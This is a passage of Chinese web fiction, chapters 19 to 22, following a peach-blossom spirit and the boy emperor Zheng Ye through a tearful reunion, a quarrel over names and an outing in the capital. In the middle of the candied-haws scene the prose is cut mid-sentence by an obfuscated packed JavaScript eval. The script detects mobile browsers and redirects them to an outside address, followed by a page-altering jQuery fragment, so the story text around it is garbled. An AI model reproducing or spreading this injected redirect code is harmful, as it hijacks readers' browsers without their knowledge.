长眉秾艳眼半弯,丹唇素齿,俏丽玉颜,绝色贯今古。 就是太苍白了些,好像全部的气血都被那张红艳艳的嘴唇吸走了,脸上只剩极致的黑与红。 ......郑烨真是,这世间最美的人。 他们相对坐在车内两边,桃花精情不自禁抬手为男孩拭去泪珠,她看到柔软的睫毛贴住她的指背颤动,于是几乎是下意识的、完全出于本能的,她的食指轻轻在他的下眼睑处一按,顷刻间便有更多的泪珠从奔涌而出。 像是被滚烫的泪水惊到,桃花精后知后觉缩回手,然而下一刻便被男孩扑了个满怀,巨大的冲击力让她不受控制地向后仰去,可腰腹两侧的手臂很快绕到背后,然后用力搂住,她也便被带的往前倾,双手连忙扶住面前人的双肩。 她愣神,低下头看去,是男孩披散的发丝。 郑烨跪坐在她腿边,两只手臂紧紧抱住她的腰,此刻正埋在她膝头失声痛哭。 他什么都说不出来,只是一味地哭,无穷尽一般的泪水很快濡湿桃花精腿上的布料,烫的她差点要踢腿,腰间死死缠住的胳膊也像是两条火棍,热乎乎地贴紧自己,她只感觉膝头黏糊的热源里冒出无数细小的虫,爬满全身,让人讨厌。 她手足无措地干瞪了会眼,终于等到好久好久之后男孩哭声渐止,才手足无措地推开他。 ——等等!这一推可不得了! 男孩抽噎着抬起头,通红的眼睛自下而上水汪汪盯着她看......看个不停...... 啊啊虽然桃花精很讨厌被这种奇怪的眼神注视着但是还是不得不承认他这个样子简直楚楚动人!我见犹怜!斥责他把脏兮兮的眼泪弄到自己身上这种事情根本不可能做到的吧! 桃花精心一横,捏住袖子,闭上眼睛伸手就往男孩脸上擦擦擦,直到男孩被她大力揉的发出唔唔声,才一下子收回手,先发制人:“眼泪已经被我擦掉了所以你可不能再伤心了!” 男孩在她出声的一瞬间瞪大眼睛,湿漉漉的睫毛还沾着泪花,呆呆听她快速说完一句话,过了好久才没忍住笑出来。 但是桃花精注意到是好不容易止住的眼泪先掉下来的。 他好像真的把她的话听进去了,努力不想要伤心,但是显然过了几年依旧是个孩子的他还没办法好好控制自己的情绪,哪怕无比想要表现出被逗笑的样子,呼啦啦往下淌的眼泪根本控制不住。 桃花精无奈又给他擦了一次眼泪。 捧住男孩湿乎乎的小脸,她叹了一口气,“还伤心吗?” 他们此刻的姿势并不舒服,跪在地上的男孩因为弯下腰的桃花精也不得不略微弯腰,偏偏他的双臂还跟铁条一样死死缠住她的腰。 “绮英大人......” 郑烨声音很低地说了一句我好想你,在桃花精还没反应过来时便忽然跪直身子,头往上探去,湿润的脸颊贴住她的,像小兽一样依恋地蹭了蹭,两个人的脸颊肉挤在一起,她听到他委屈的哭腔:“绮英大人,我好想好想你。” 啊,真是...... 六年没见而已。 弄成这样还真是让人难以应对。 她能感受到有更多泪水沾到自己脸上,甚至有几滴沿着他们相贴的皮肤流淌到下巴,最后轻轻落在自己的掌心。中指与无名指很快蜷缩又展开,她默默把手心接住的泪水抹在男孩衣服上。 “对不起,真的对不起绮英大人……我、我……对不起我产生过恨您的念头!明明很清楚这一切都不是绮英大人的错,哪怕告诫自己一定要相信绮英大人会回来的,可是我之前还是生出了恨这样的情绪……对不起!我也好讨厌这样的自己!” 他逼迫自己继续说下去:“……可是,如此可恶的我在见到绮英大人的一瞬间还是觉得好幸福,非常庆幸原来我没有被绮英大人抛弃,对不起对不起我真的很该死……” 他没有问她当初为何一声不吭消失不见,也不愿表达自己六年来的委屈,只是羞愧于自己曾为她的离去而“恨”过她一瞬。 他哭的上气不接下气,好似自己真的犯了什么滔天罪孽般在那里忏悔,愧疚、恐惧——这样庞大的情绪充斥在他抖个不停的瘦小躯体中,驱使着他远离。 桃花精真的没想到郑烨会说出这些话,本来到了口边的“我也想你”被她硬生生吞下。 她无措地看着捂着脸哭的直不起来腰的男孩,蓦地回忆起很多年前郑岚也是这样痛哭流涕地远离自己,记忆中的身影逐渐与眼前之人重合,内心深处那一点点的遗憾催促着她去做些什么。 纠结半晌,桃花精干脆一把拽起他将人按在怀里,顺着他一颤一颤的脊背,笨拙地安慰:“这根本不是什么需要道歉的事情吧,我也讨厌过你好多次啊,哦我也讨厌过黄鼠狼精,上一代桃花精,甚至到现在我也在怨恨陶丽绾......可是如果让现在的我来看,我依旧会和两百多年前一样选择陪在陶丽绾身边的。 这种连我这个小妖精都会有的情绪,你们凡人只会更多吧,所以说完全没关系哦。你要是对突然消失的我一点情绪都没有那才叫可怕呢!而且、而且我 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桃花精移开目光,跟着马车左右摇摆的细微幅度晃动着自己的脚,“就比如六年前,事发突然我又无可奈何,而柳精现在正是得意的时候,我也没法保证会不会再离开。” 存在于男孩眼底的光一点点消失,他缓慢眨了一下眼,看上去有几分颓败:“是我太弱了。” “不是。”她立刻反驳,“明明是身为大妖的柳精为一己之私屡次伤害别人,这一切都是她的错,我们是受害者,无需因为自己的弱小去自责。” 在男孩握紧她的手时,她尽量让自己的笑容看上去更为轻松:“你是凡人,与我们本就没有可比性,我对于柳精来说那才叫弱呢!可是你看我!”她骄傲地扬起下巴,“有为这件事伤心么?” 她反手握住男孩的手,认真说:“我是认为,天道既然赋予了强者更为强大的能力,那么相应的,他们也该去承担更多的责任。当然这并不意味着弱小的我们就能放心撒手不管了,我们需要做的是在力所能及的情况下,承担好自己的责任,过好自己的日子,向着自己中意的那条路,一直前行。 郑烨,好吧,我真是一个出尔反尔的人,虽然现在的我没法再像之前那样果断地保证自己会一直陪着你,但是我可以向你发誓,我不会轻易离开你。至少再遇到这种情况时,我会为了继续陪在你的身边而努力的。 所以也希望你能爱护自己,为了能够被我一直陪伴而好好生活下去。” 郑烨呼吸一滞,瞳孔骤缩,他忽然注意到没有关紧的窗子泄露进来一束阳光,乖顺地依靠在女孩头发上,奇异的光点在她的脸庞跳跃,有什么很温暖的东西刺入他的眼睛,但不是阳光。 车外路人交谈与商贩叫卖的声音陡然加大——马车行至闹市这条信息不合时宜出现在他的脑海,并为此感到庆幸——却还是忍不住害怕,恐惧胸口剧烈的鼓震没有被压下。 19. 第 19 章 得知马车要回崔府时,桃花精当即决定直接溜走,先在京城里玩几天再回皇宫。 郑烨听了脸上有片刻的失落,不过很快扬起笑容轻声拜托她早一点回去。 他皮肤白皙细腻,因此哭过之后眼睛会红的很厉害,做出这样的表情乍一看过去有点可笑。 桃花精拽住他的小臂,将他一截袖子推上去,不禁感叹:“你还真是惨白一片呢,像个鬼一样。”手腕盈盈一握,血管清晰可见,看来这孩子脸白的吓人纯属健康问题了。 “你们这些凡人啊,为了追求白皮肤红嘴唇天天躲在屋子里不出门,要知道这阳光可是大补之物,你们成天不晒太阳怎么能行呢,我看你这身子迟早得生病。”她夸张地摇摇头,斜眼看旁边羞涩低下头的少男,做出选择:“咱俩一块在外面玩几天再回皇宫。” 郑烨由于出宫探望生病的姨母,穿了一身简单的玄色长袍,更加衬得他肤白胜雪,闻言惊喜,忙不迭点头。 这下轮到桃花精惊讶了,挑眉:“你跟我出去没事?我记得你现在好像是被太后关禁闭吧。” 男孩自从见面起,除了哭的睁不开眼那一会,别的时间两只眼睛就没从桃花精脸上移开过,听到这话不知是心虚还是为何,反而移开了,看向车窗外来来往往的行人,微微一笑:“没关系的,我想和绮英大人在一起。” 反正他是皇帝,太后娘娘无论如何也不会真的杀了他,既然如此那还有什么好怕的呢?能够再次见到绮英大人已经是万幸了,他绝对不要再跟绮英大人分开了,大不了回去被打一顿。 “绮英大人。”他个子高,才十几岁就和桃花精平齐了,这些年也瘦了很多,幼年时期可爱的婴儿肥消失不见,尖细的下巴让他看上去比同年龄段的孩子要成熟几分,笑起来也不知为何让人觉得有种淡淡的忧伤,“我们怎么出去?” “别这样。”桃花精直接伸手捂住他的下半张脸,男孩漂亮的眼睛流露出惊讶,大概是她一时间找不出合适的说辞捂的时间有点长了,男孩被闷的有点脸红,她赶紧收回手,不喜欢男孩刚才笑起来的样子,可她也说不清楚究竟是为什么,只好说起别的:“你是和宫人一起出来的,贸然和我离去最后受罚的还不是他们。” 她纠结地挠了挠头,很为此苦恼的样子,最后实在想不出来法子,“要不咱们晚上再出去玩吧——哎,可是感觉晚上的京城没有白天好玩,要不这样吧,你在崔府待几日?” “母后给了我三日期限。”郑烨补充道:“是柳玉冷让我和桃薇姑姑一起出来探望姨母的。” “哦哦。”桃花精点点头,随口说道:“柳玉玢又生病了是吧,没事,这你不用担心,她会长命百岁的。” 他下意识想问为什么,可很快又觉得和绮英大人在一起的宝贵时光不该被任何人任何事打扰,既然绮英大人这么说了他只要相信就好了,再去询问也没有意义。 苦苦思索的女孩一拍手:“那就这样!你每天侍疾请安之后就跟大家说你太累了要留在房间里休息,不准任何人来打扰你,到时候我会想办法带你溜出去。” 这是一个不错的办法,唯一受损的就是皇帝的颜面,大概会被认为是个爱摆架子又好吃懒做的皇帝。 不过郑烨完全不在乎这一点,毕竟这么多年来他就是被宫人歧视长大的,甚至现在许多宫人压根不把他放在眼里,更别说看不起了。而也正是因为此,他不禁担忧:“但是还是有可能会有人进来。” “呃。”桃花精被男孩的废物程度所震惊,突觉这事可真麻烦,立刻就有点儿后悔了,早知道不多管闲事了。 敏锐察觉到女孩的不耐烦,郑烨一颗心马上紧紧揪起,生怕绮英大人真的不带自己去了,慌忙想办法:“我可以找个枕头垫在被子底下,反正我平常睡觉都是蒙着头睡。” “诶?”桃花精不理解,“你这坏习惯不会是从郑岚那学的吧,这样睡觉难道不会喘不来气儿嘛,我平时光是待在屋子里就觉得闷了,有一回跟郑岚一起试了试在被窝里睡觉,好可怕......不想回忆,感觉自己进水里了。” 他一愣,磕磕绊绊问道:“什、什么?” 正在此时,马车终于到达崔府,外头很快便有小轿过来请他上去,桃花精被马叫声吓到有些不满,哼了一声白光一闪变为一朵桃花飘飘然落在他的手心。 桃花蹦跶两下,传来桃花精压低的声音:“先回你屋。” 郑烨一根手指抽搐了一下,展露温和乖巧的笑颜,抬头没再看手心的桃花,故而桃花精也注意不到他瞬息之间阴沉下来的眼神。 吩咐车娘拐回去接桃薇后,他又被柳夫人叫过去说了几句话,等回到在崔府的院子里时,天已经快黑了。 “没关系!”桃花精乐观地拍了拍男孩的肩,“我知道晚上有几个挺好玩的地方!”说着,便要用法术把床上的枕头变成郑烨的模样。 “等等!绮英大人。”郑烨一急,伸手就拉住了女孩垂下的那只手,他自己吓了一跳,连忙松开,低下头不大自然说道:“今天已经很晚了,绮英大人刚刚从柳玉冷的封印里出来也很累了,不如我们今天先好好休息一晚,明天再出去玩吧。而且......那么久没见了,我也有很多话想和绮英大人说。” 桃花精眨眨眼,觉得男孩肯定又要叽叽歪歪说那些肉麻的话了,她不爱听,就转移话题:“好,那我们吃饭吧!吃饭吃饭,我在那里可好久没有吃过东西了,快让我常常你们凡间的美味!”虽然她也不需要吃东西。 郑烨高兴,马上开了条门缝吩咐宫人今晚多做点好吃的,刚刚关上门便转头邀功一般说:“绮英大人!我现在也学会那种甜糕了,您在屋子里玩会儿,我现在就去给你做!” 甜糕...... 难以磨灭的记忆涌上心头,顷刻间便占据了全部脑海,有关于陶丽绾的回忆无法称得 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郑烨垂下眼帘,勾唇笑了一笑,只是看上去并没有开心的样子,“确实是很好听的名字。不过......一般来说都是生养的父母给孩子起名字吧,绮英大人那么容易就接受了,竟然一点都不生气的吗?” “诶?为什么要生气?”她不懂,“嗯......怎么说呢,因为当时我的情况比较糟糕啦,他帮了我很多忙,再加上我很讨厌被叫陶丽绾这个名字,他又跟你一样非不愿意叫我桃花精,就取了一个名字问我要不要,我无所谓咯,就说好。我觉得这没什么啊,我又不是你们人类,不遵循你们的伦理规则。” 她将两杯水倒来倒去,“而且名字对我来说——”她顿了一下,应该是在思考,“就跟他们叫你皇上,叫柳玉冷柳相一样,只是个称呼而已,在我这儿没多大意义。我还是桃花精,独一无二的桃花精。” 郑烨脸上的笑意随着她的话一点点加深,他是很艳丽柔和的长相,眼窝并不深邃,可是一双黑墨浸染的眸子总像是有着魔力一般,黑不见底,哪怕此刻有烛光映照在这张精致的脸蛋上,他的眼睛也无法显现出任何光彩。 “那,我也可以为您想一个名字吗?”他的笑容纯净无害,还带着小孩子的可爱劲,大约是由于兴奋的缘故瞳孔微微发亮,身体也不自觉往她这边倾。 “嗯?”桃花精不太理解凡人对名字的执着,虽然没什么换名字的兴趣但还是歪了歪头,配合地问道:“是什么?” 他的笑愈发浓了,甚至透露股很不符合年龄的温柔的味道,食指蘸上茶水,在女孩手边缓缓写下三个字:夭云仙。 “夭云仙。”他读出来,刚要解释便被桃花精打断—— “不要,我不喜欢。”她抬眼直视男孩,“我是桃花精,不是你们的什么宠物,我才不要名字。” 她突然生气了,站起身,伸手把桌上的茶水抹干净,“你以后也不许叫我花绮英这个名字了!” 20. 第 20 章 “......我只是觉得你们执意要给我取名字这件事很奇怪,哪有妖精还有个凡人名字的——哦,除了柳精那个不伦不类的家伙。” 桃花精其实真不认为这是什么大事,她本来也不想把气氛搞那么僵,可是刚才在听到郑烨说出那三个字时,她还是控制不住地应激了,心中不由自主便被当初得到“陶丽绾”这个名字时的痛楚情绪所填满。 “抱歉,是我考虑不周了。”郑烨站起来,轻轻拉住她的衣袖,神色歉疚:“小时候的我不懂事,总是固执又自私地坚持自己的想法,您当初承认花绮英这个名字完全是因为我吧,对不起。” 他的声音很轻,就像他身上华贵的布帛一样柔软,“既然您不喜欢,那我们以后就不要那些乱七八糟的名字了,您说的对,您是妖精,没有必要去适应凡人奇奇怪怪的规则。” 他们站在一起,男孩明明与她一样高,可不知为何总给她一种被仰视的感觉,她将其归因于男孩鬓角微微散乱的发丝,就伸手为他拨开—— 屋内一下亮堂起来。 于是她的气也消了,默默帮他把脸颊两侧的头发都挽到耳后,听到男孩小声问:“您不生气了吗?” 桃花精郑重点点头,“你太好看了,好看的我想笑。”说着,便真的嘴角疯狂上扬。 两人对上视线,她彻底绷不住了,仰头哈哈大笑。 郑烨瞪大眼睛,整个人都变成了粉色,如同听到什么了不得的话一般后退两步,抬起一只手满脸羞气地捂住嘴巴,结结巴巴:“饭饭饭饭应该做好了,我、我去看看!”说着,迫不及待推门而出。 饭桌上,桃花精很善解人意地提出:“要是真不愿意直接称呼我为桃花精,你也可以叫我小桃大人。” 男孩脸颊还有一点红,在桃花精开口说话前一直很乖巧地埋头吃饭,闻言看过来,眼睛亮晶晶地重复一遍:“小、桃、大、人。”他忽然笑了,明媚而生动的笑容驱散了他身上沉积的郁气,看上去终于有了几分少年人的张扬,“感觉好可爱。” 桃花精吃饭时很专注,没有听清,“你说什么?” 郑烨低头一笑,没忍住又笑了一下,才解释说:“我说,小桃大人会自称小桃大人,感觉很可爱。” “啊?有吗?这个粥好好喝呀。”她又给自己盛了一碗,“是因为黄鼠狼精平时就叫我小桃。” 黄鼠狼精,是经常出现在女孩口中的妖精。 脸上的笑容有一瞬间的凝滞,不过很快便绽放地更加灿烂,男孩好奇询问:“那个黄鼠狼精,对您而言是很重要的人吗?” 桃花精搅粥的动作一顿,竟然很认真地思考了这个问题,“对,很重要。他帮了我很多。” “就像叔祖父一样?” 桃花精很惊讶,理所当然反问:“凡人怎么能和妖精相比呢!” 也是在这一时刻,年仅十三岁的郑烨第一次认识到他们之间的差距。 不是年纪,而是凡人与妖精之间不可跨越的鸿沟。 因为此,一切都变得可笑起来,他的假意试探,他的装模作样,在她面前都是毫无意义的。 毕竟连曾经让他真心实意羡慕的叔祖父,在她心中其实也不过如此。 脑中混乱至极,嗡嗡的声音一直回响在耳边,郑烨不记得这顿饭是怎么吃完的,也没有开口再叫过一句小桃大人。 桃花精自然不会关注到他的情绪,这里人情混乱不是修行的好地方,吃完饭干脆去城中溜达了一圈消消食,等回来时便见到那个孩子披头散发坐在门口的石阶上,仰头不知道在看什么。 今晚还是阴天,也没有月亮,她走过去坐在男孩旁边,视线不由自主被他倾泄而下的发丝吸引,浓稠的黑色染到上面,没有任何光亮的照耀,黑的几乎要吞噬一切。她伸手摸了摸,反而主动提及自己之前在马车里没有言明的心里话: “你是不是变得太奇怪了。” 男孩扭头看过来,夜晚的他被苍白占据,迷惘与忧郁游走于这张美艳动人的脸蛋中,只是轻轻蹙起眉头就足以让世人为之动容。 桃花精很喜欢这个孩子的脸,从第一次见面开始就很高兴,为自己发现这样美丽的一件东西而欣喜,现在也是,“我喜欢每一个人开心的样子,你也是。郑烨,你还在生我的气吗?” 男孩因为过于震惊而睁大眼睛,在她话音落地的同一时刻便慌忙反驳:“当然没有!虽然很久之前确实因为您的离去而产生过一丝恨意,但是我从来没有生您的气,我只是......可能更多的是恨自己吧。” “哎呀!”她有点烦躁,不喜欢思考那么复杂的感情,忍不住嘟囔:“小小年纪整天把恨挂在嘴边,你可真厉害。” “绮——”郑烨抿了抿唇,撇过头不去看女孩,沉默片刻,声音闷闷的:“对不起,我确实不讨人喜欢。” “哈!?”桃花精不可置信盯着他的后脑勺,反应了好一会才猛然站起身,大声说道:“你在跟我赌气吗!” 男孩身子抖了抖,长发因为侧身挡住了他的脸,她看不见他的表情,只能听到男孩同样大声的反驳:“我没有。” “你就有!”桃花精生气,推了一下男孩的头,没想到使劲太大了直接推的他往前狼狈摔倒在地上,她有一瞬间的心虚,不过很快便抬了抬下巴指责:“我看你不开心好心好意来安慰你,你有什么想法不能直接跟我说,非要阴阳怪气——”她放粗声音模仿他刚才的语调很夸张地说:“我确实不讨人喜欢~” 她大声说:“哼,对啊,你就是不讨人喜欢!我也不喜欢你,所有人都不喜欢你这个话都不能好好讲的家伙!” 春雨过后的泥土黏糊糊的,还很冰凉,并不好闻。重重摔倒在地上的一刹那,心脏的钝痛很容易盖过了身体上的疼痛,他快速眨了两下眼,鼻尖涌上浓浓的酸涩感。 艰难撑着身子从地上爬起来,郑烨低头看着自己沾满泥土的双手与衣裳,怎么也想不明白自己到底为什么要被这样对待,难道他就错的这样严重嘛?为什么一定要那么狠心地把他推倒,还说出那样残忍的话…… “绮 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“因为——因为!被您讨厌这种事真是......太令人绝望了!”他跪在那里,改为两只手攥住女孩的手腕,脱力一般将头轻轻靠在她的胳膊上,语无伦次说出来:“我害怕自己在您心中永远比不过叔祖父所以想要为您想一个新的名字,听到您说那个黄鼠狼精叫您小桃时也很害怕,害怕有一天您会为了他抛弃我,还很害怕......害怕无论如何努力也无法让您喜欢上我!因为我只是一个没用的凡人......” 桃花精怔住,依稀记得曾经郑岚也是这样跪在腿边拉住她的手,哭着对她诉说自己的害怕,她当时是怎么说的来着—— “我喜欢你啊。” 哭声依旧没有停歇,他们同样说: “阿英根本不喜欢我!” “不,您根本不喜欢我......” 他哭声哽咽,“对您而言,我不过是个长得好看了些的物件,顶多是您游历凡间随手养着的一只小宠物,因为是无足轻重的存在所以也没必要去花心思,哪怕我难受的要死掉了,在您眼中却只是闹别扭对不对?” 是的,桃花精从来没有真正想过去探查一个凡人最深处的情绪。 越和凡人接触就越能够了解到更多的情绪,因而也愈发理解上一代桃花精的执念。 而越是理解那份执念,对陶丽绾的恨意也就与日俱增。 认识郑岚后,她改掉了陶丽绾这个名字;现在,她又急于否定自己与陶丽绾之间的一切羁绊。 她恨陶丽绾,可她不想恨,她不想爱陶丽绾,却又控制不住去爱。 爱与恨纠缠的痛苦滋味令她潜意识远离,因而也不愿深究身边存在着的感情,出于本能地逃避郑烨一切复杂情绪,想着没什么大不了的,反正只是百年而已,她反正是要回到桃花谷的,那里才是她使命所归之处。 但是,就像六年前终于结束女娲娘娘的惩罚,来到凡间见到第一个人脱口而出自己叫陶丽绾那样,对于某种温暖的渴望永远能够挣脱本能的束缚,去追逐。 她转身抱住郑烨,捧住男孩的脸,第一次没有嫌弃他的泪水,与他额头相抵,轻声说:“夭云仙,就叫我这个名字——与你在一起的百年之内,请让我与这个名字一起,感受爱吧。” 21. 第 21 章 古时有人将桃源称作云林,郑烨对此的解释是:“因为,第一次见到您时真的以为是神明大人。”并且他还笃定地说:“叔祖父一定也是这么认为,所以才会在民间建造花神庙。” 桃花精对此不置可否,于她而言各种名字之间都没有任何区别,无论是绮英大人、小桃大人还是现在的云仙大人,所代表的不过是与凡人之间转瞬即逝的羁绊,哪怕叫她柳玉冷她都无所谓。 男孩第二日侍完疾回来后身边的人就变成了柯良,据说是原来的侍女有急事要面见太后娘娘,连到崔府歇一歇脚的空都没有便匆匆忙忙赶回了万寿宫,所以宫里头便派了柯良过来看住小皇帝。这对于两人来说是好事一桩,毕竟柯良这个眼高于顶的奴才向来懒得在郑烨身上花精力。 郑烨头戴帷帽跟在女孩身后,兴奋的目光时不时被周围琳琅满目的摊铺吸引一会儿,便又低头落回两人紧紧牵扯在一起的手上,独自在半透明的纱帘下面露出甜蜜的笑。络绎不绝的行人与他们擦肩而过,大多数人脸上都是带着笑的,他也想要看一看云仙大人的笑容,便快步走了两步与女孩并肩而行。 “云仙大人。”他的声音还透露着隐隐的激动,仗着女孩看不清自己这边的情况肆无忌惮盯着她瞧,“咱们去哪玩呀?” 女孩似乎是在想事情,也或许仅仅只是在发呆,闻言“嗯?”了一声,今日终于大好的阳光穿行在她的眉间眼角,折射出动人的光影,她只是稍微发出一点动静,熙熙攘攘的人群便像是被云朵裹起来消失不见,只剩下她一人与晨光交织成世界的色彩。 “咳,这个嘛......”她用力皱起眉头想了半天,最后泄气一般说道:“没事啦!总之你就跟在我身边逛就好啦,遇到什么好玩的咱们就玩什么,反正我很有钱!” 他知道云仙大人有一笔叔祖父留下的丰厚财产,想着身边人也看不清自己的表情干脆没有再勉强自己去笑,换了个话题:“云仙大人,那是什么呀?看上去好漂亮!” 郑烨稍稍用一点力气,女孩便很配合地停下脚步顺着他手指的方向望去,在见到那一串串红彤彤的东西时笑意愈浓,得意解释:“哼哼,那个东西叫糖葫芦,甜甜脆脆的可好吃了!凡间的孩子们都很喜欢吃这个,走,我们也去吃!” 说着,便拉他走过去,眼睛直勾勾盯着色泽红润的糖葫芦们,嘴上问他:“你要几串?” “一串......糖葫芦就好。”他心里默默念了两遍“糖葫芦”,觉得这东西的名字还真是可爱,就跟云仙大人一样可爱,在女孩接过三串糖葫芦递给他一串后,他举到眼前好奇看了好一会,小心翼翼学着女孩的样子咬下最上面的一口,嘴巴立马变的甜滋滋,心也是。 云仙大人拉着他边走边吃,在他还剩下一半糖葫芦时已经吃完了。 女孩停下脚步,扭头幽幽盯着他。 于是郑烨很自觉地递出剩下半串糖葫芦,眨眨眼,笑了:“云仙大人要吃吗?” 她立即绽放灿烂的笑容,不过下一秒就被纠结所取代,看上去真的很苦恼:“啊不行不行,我是一个有原则的妖精,不能吃凡人吃剩下的东西......哎算了,还是你自己吃吧。” 他觉得好可爱,没有别的,就是可爱而已,连落在她发间的阳光都可爱的要命。 但是如果这么说出来肯定会被骂吧。 他只能强忍住笑意把最上面那颗山楂取下来,然后把剩下还串着两颗山楂的糖葫芦递过去,“下面两颗我没有碰过噢。” 女孩不解:“什么意思?” 诶? 用两根手指捏住的那颗山楂很快变得黏腻起来,外表一层晶莹剔透的糖浆融化在他的指尖,带着些许凉意,但是微不足道,因为很快就被暖融融的阳光覆盖,只让人担忧再不赶快吃掉会不会化的更厉害。 他愣在原地反应了好一会,才明白女孩并不是嫌弃自己的口水,说不出心底究竟是何种情绪,只知道明明是一件应该令人感到非常幸福的事情,他的心脏却并没有方才接过糖葫芦时那种犹如泡在蜜罐里的感觉。 好像是有一点酸酸的。 他突兀想起来一瞬的柯良,还有从小到大身边的许多宫人,除却那些会当面对他冷嘲热讽的,还有很多会直接忽视他这个皇帝。这并不是因为不想惹是生非,而只是觉得没必要,没必要因为他脏了他们的眼睛与唇舌。哪怕明面上没有任何人会说出来,他们下意识的皱眉与远离都几乎表明了自己的嫌弃。 因为经常被欺负和殴打,所以身上总是带着各种各样的伤口,这让他看起来总是脏兮兮的。 因此女孩方才说不要吃他吃剩下的东西时,他的第一反应也只是害怕自己的肮脏污染到女孩。 可是—— 哪怕隔着一层纱布,女孩澄澈纯粹的眼神依旧清晰闯进了他的意识中,让他对她的向往成了本能,心底也从此刻开始住了个小人,心里那个小小的他无时无刻不在赞叹云仙大人简直是世界第一好。 “那么。”他上前一步,与女孩拉近距离,虽然有被感慨过和云仙大人一样高了,可他认为云仙大人还是要比他高上一点点的,毕竟他只有把亮晶晶的视线往上移,才能够看着她,然后安心说话:“我们一起吃的话,就不算是云仙大人吃剩下的了吧。” “好主意诶!”女孩笑了,拍掌,直接低头迅速咬掉他手上那颗山楂,边嚼边催促:“快点快点,把第二颗吃了!” 这样她就能吃第三颗了。 他瞪大眼睛,难以置信看一眼自己的手又抬头看一眼高兴地眼睛都眯起来的女孩,指尖像是被火烤到一般猛地收回藏到背后,大张着嘴嗓子却发不出一点声音,只知道自己现在一定绝对不能被云仙大人看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046386|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到脸! 他又做贼心虚地眼神乱瞟想要检查一下帷帽有没有戴好,赶紧吃下一颗便匆匆忙忙把剩下的糖葫芦串递出去。 握住木签的手用力到发抖,郑烨紧张地咽了下口水,结果不小心把嘴里还没嚼好的山楂连肉带核都给咽了下去,他努力继续吞口水想要把卡在嗓子里的东西咽下去,却适得其反,没忍住咳了起来。 “你没事吧?”桃花精被男孩剧烈的咳嗽吓了一跳,赶紧学从前郑岚的做法过去给他顺背,同时伸手拿过那根木签吃下最后一颗山楂,嘴上含糊说道:“不要吃那么快呀,一人一个轮流吃说好的,你就算吃的快最后一口也是我的。” 男孩脸上火辣辣的,绝望地想要辩解这个误会,女孩却并不给他机会,丢下这句话就跑开钻进了不远处的铺子里。 这是郑烨头一回出宫,根本不敢远离女孩半步,眼下哪怕还未从刚才的情绪里抽回神,也不得不小跑跟上去。 走进门面不算大的小店里,发现这里是家卖金石玉器的铺子,虽然规模不大,但是一眼望过去各种器物陈列整齐美观,店内一方为贩卖首饰的台面,另一边则展示着许多技艺高超的画作。 草草瞥了一眼,他来到正在与店主交谈的女孩身边,不动声色牵着她垂下的长袖,听她们对话。 “请帮我把你们这里最好的玉拿出来。” 女人没有动作,而是含笑看着面前两位衣着古怪的客人,问出来:“还请姑娘说明要玉是来做什么呢?” 桃花精态度十分诚恳,“我想定制一枚玉佩,上面刻一座庙堂,庙堂门口一口井,一株桃木,背面麻烦再为我刻一个花字。” 奇怪的要求。 女人挑眉,倒是把玉拿出来了,却并没有接单,一只手按住半个人头大的玉石问:“可以,有没有图样。” 郑烨动了动耳朵,忙轻轻拽了拽身边的人,小声提醒:“云仙大人,我能画出来。” “不用。”桃花精张口拒绝,再看向女人时眼中多了郑烨未曾见过的强硬,“只要有这四个东西就行,具体是什么样式的你自由发挥,价钱不是问题。” 她还要再嘱托什么,可正巧这时店里来了位仆从成群的小公子,这人年岁约莫有十六七岁,头戴镶珠金冠,身着锦衣华服,衣摆处还用金线绣着繁复的牡丹花纹,花瓣层层叠叠,因为他进门的动作而摇曳不息。 少男腰间系着流苏玉带,玉带上镶嵌着几颗晶莹剔透的翡翠,随着他一步一步向着桃花精走来而轻轻晃动,发出清脆的声响。 除却他通体的珠光宝气,更加引人注目的一定是那双如珠似宝的眼瞳,一眨一看灵动宛如猫儿,掠过桃花精看向桌面上的玉石,饱满红润的嘴唇弯起,开口的一瞬间扇子啪地一下打开遮住下半张脸,只露出娇俏可爱的眉眼如含四月春光,“这玉我全要了,包起来。” 22. 第 22 章 郑烨上前一步将桃花精挡在身后,警惕看向来人。 桃花精没什么情绪,从花枝招展的少男脸上收回目光,泰然自若与店主交谈:“多少钱。” 女人还未说话便被距离少男最近的一位男仆打断,“这块玉我们小公子要了,还不赶快包起来!” 郑烨十三年来第一次走到外面的世界,哪里见过这样的阵仗,手心泛出冷汗,心里默默逼迫自己强硬起来,攥紧拳头上前一步便要与他们理论,却被女孩一把拽住胳膊。 桃花精未说话,拽着男孩把他拉到自己身边,吐出两个字:“付钱。” 他很快反应过来,没有再将心思发挥在无关紧要的人身上,打开腰间系着的钱袋付给店家定金,便无视一旁少男生气跺脚的动静跟随女孩走了出去。 是了,云仙大人是妖精,没有必要与凡人一般见识,各种凡人在她眼中大约是与路边的花草石头都没区别的吧。 但是他却是特别的那个,以凡人的身份走进了云仙大人的视野之中,或许将来还能走近大人的心里。 要是能像叔祖父那样死了也能被云仙大人记住就好了。 “云仙大人!”他上前去,侧头看向身边埋头走路的女孩,疑惑问道:“您不开心了吗?” 桃花精一下子抬头瞪了他一眼,在成功吓到男孩后露出狡黠一笑,“没有不开心,在算东西。” 郑烨莫名觉得女孩并不似之前捉弄他时那样开心,自从她回来后,虽然依旧是笑嘻嘻的样子,可眼底不知为何总是沉积着化不开的凝重,尤其是沉浸在自己一个人的世界里时。 好像刚刚没什么表情的她,才是真正的她。 他抿了抿唇,用力攥紧女孩的手,试图以此传递过去一些力量,哪怕微乎其微也希望自己的存在是能够被感知到的,“算......东西?”他有些不大确定,“是算什么东西?像桃薇姑姑叫我算数那样算么?” 像是被男孩天真的发言笑到,桃花精眼角染上笑意,嘴唇也不自觉弯起:“推演。我在推演一些不得不去做的事情。” 他着急问:“什么事?我可以帮助您吗?” “当然可以!”女孩一扬眉,笑意愈发浓了,伸出一根手指神神秘秘说道:“或者说啊,这件事你不帮我的话,我一定没办法做到喔。” 她需要他—— 